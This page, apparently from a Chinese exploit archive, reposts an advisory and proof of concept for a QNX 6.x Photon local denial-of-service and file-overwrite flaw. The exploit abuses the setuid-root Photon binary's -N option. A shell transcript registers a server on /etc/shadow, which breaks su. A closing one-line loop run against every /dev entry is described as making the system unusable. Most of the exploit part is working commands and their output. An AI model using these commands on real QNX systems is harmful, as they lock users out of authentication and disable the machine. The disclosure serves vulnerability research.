首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
QNX 6.x Photon Denial Of Service / File Overwrite
来源:vincitamorpatriae@gmail.com 作者:cenobyte 发布时间:2014-03-11  
#
#       QNX 6.x Photon denial of service vulnerability by cenobyte 2013
#                         <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# QNX setuid root /usr/photon/bin/Photon allows users to create new servers with
# arbitrary filenames registered with the -N parameter.
# Photon does not check whether files exist and/or the owner of the ile is the
# same as the user. Thus any user can create a new server with a filename such
# as /etc/shadow resulting in a denial of service attack.
#
# - vulnerable platforms:
# QNX 6.5.0SP1
# QNX 6.5.0
# QNX 6.4.1
# QNX 6.3.0
# QNX 6.2.0

$ id
uid=100(user) gid=100
$ /usr/photon/bin/Photon -N /etc/shadow
$ su -
su error: Password and Shadow files on different devices
$ ps -edaf | grep Photon
  100  4524851  4520182 - Oct26 ? 00:00:00 /usr/photon/bin/Photon -N /etc/shadow
$ kill -9 4524851
$ su -
password:
Sat Oct 26 13:22:38 2013 on /dev/ttyp1
Last login: Sat Oct 26 02:43:08 2013 on /dev/ttyp1
edit the file .profile if you want to change your environment.
To start the Photon windowing environment, type "ph".

# If you want to make the system unusable:
$ for x in $(ls /dev); do /usr/photon/bin/Photon -N "/dev/$x"; done

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·QNX 6.x phfont Enumeration
·ClipSharePro 4.1 Local File In
·QNX 6.x phgrafx File Enumerati
·Yokogawa CENTUM CS 3000 BKHOde
·QNX 6.4.x/6.5.x pppoectl - Inf
·Yokogawa CENTUM CS 3000 BKBCop
·QNX 6.5.0 x86 phfont - Local r
·Oracle VirtualBox 3D Accelerat
·QNX 6.5.0 x86 io-graphics - Lo
·QNX 6.4.x/6.5.x ifwatchd - Loc
·Safari User-Assisted Download
·Ruby Gem Arabic Prawn 0.0.1 Co
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved